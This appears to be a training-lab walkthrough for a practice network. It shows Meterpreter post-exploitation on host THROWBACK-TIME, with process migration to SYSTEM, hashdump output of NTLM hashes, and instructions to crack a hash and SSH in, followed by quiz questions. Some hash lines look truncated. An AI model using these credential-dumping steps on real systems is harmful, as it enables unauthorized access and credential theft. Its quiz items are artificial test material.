

Now that we have a meterpreter session open from our malicious macro we can utilize some of meterpreters built in tools and techniques to extract hashes and then get an ssh shell to explore the sql database.

Meterpreter Overview

Meterpreter is a useful shell that allows us to execute shell commands as well as use some additional functionality within meterpreter. The command we will be focusing on is the 'hashdump' command, similar to mimikatz it can allow us to dump NTLM hashes on the system. Meterpreter can also act as a C2 server with modules like incognito and powershell which we will cover later in this course.

Migrating Processes

If you are not in a system process then hashdump will error out as you can see below.

```
meterpreter > hashdump  
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
```

hashdump permission error

With meterpreter we can list processes then migrate using the 'ps' and 'migrate' command. When looking for a process to migrate to we want to look for one with an NT AUTHORITY\SYSTEM user and x64 architecture.

1.) ps

```
meterpreter > ps
```

PID	PPID	Name	Arch	Session	User	Path
0	0	[System Process]				
4	0	System	x64	0		
88	4	Registry	x64	0		
404	4	smss.exe	x64	0		
508	768	svchost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
556	548	csrss.exe	x64	0		
632	548	wininit.exe	x64	0		
640	624	csrss.exe	x64	1		
700	624	winlogon.exe	x64	1	NT AUTHORITY\SYSTEM	C:\Windows\System32\winlogon.exe
768	632	services.exe	x64	0		
780	632	lsass.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\lsass.exe
792	700	LogonUI.exe	x64	1	NT AUTHORITY\SYSTEM	C:\Windows\System32\LogonUI.exe
880	768	SecurityHealthService.exe	x64	0		
884	768	svchost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
908	768	svchost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
928	700	fontdrvhost.exe	x64	1	Font Driver Host\UMFD-1	C:\Windows\System32\fontdrvhost.exe
936	632	fontdrvhost.exe	x64	0	Font Driver Host\UMFD-0	C:\Windows\System32\fontdrvhost.exe
1016	768	svchost.exe	x64	0	NT AUTHORITY\NETWORK SERVICE	C:\Windows\System32\svchost.exe
1036	700	dwm.exe	x64	1	Window Manager\DWM-1	C:\Windows\System32\dwm.exe
1076	768	svchost.exe	x64	0	NT AUTHORITY\NETWORK SERVICE	C:\Windows\System32\svchost.exe
1116	5244	powershell.exe	x86	0	THROWBACK-TIME\Administrator	C:\Windows\powershell.exe
1124	768	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\svchost.exe
1132	768	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\svchost.exe
1140	768	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\svchost.exe
1188	768	svchost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
1208	768	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\svchost.exe
1232	768	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\svchost.exe

listing processes on the device

There are many processes to choose from but for the demonstration we'll be using PID 1188 however any process with a system user and x64 arch will for the most part work with some exceptions.

2.) migrate

```
meterpreter > migrate 1188
[*] Migrating from 5624 to 1188...
[*] Migration completed successfully.
```

Migrating to PID 1188

We have now migrated our shell to a system process and can begin to dump hashes.

Dumping hashes with Meterpreter

All you need to dump hashes with meterpreter is an open meterpreter session and the hashdump command. The command does not require any kind of special parameters to go along with it, only the command itself.

1.) hashdump

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::8dca0b:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sshd:1008:aad3b435b51404eeaad3b435b51404ee:6eea75cd2cc4ddf2967d5ee05792f9fb:::
:1009:aad3b435b51404eeaad3b435b51404ee:e343486:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::
```

Dumping hashes with meterpreter

SUCCESS! We have dumped hashes on THROWBACK-TIME and can move on to cracking the hash and getting an ssh session on the box to being interaction with the SQL database.

Crack the hash for the new found user account and use those credentials to ssh into THROWBACK-TIME. Don't forget your proxychains!

Answer the questions below

Which user's hashes were we able to dump?

Submit

What is the user's hash starting from the third colon?

Submit

What is the administrator's hash starting from the third colon?

Submit

What is the user's cracked password?

Submit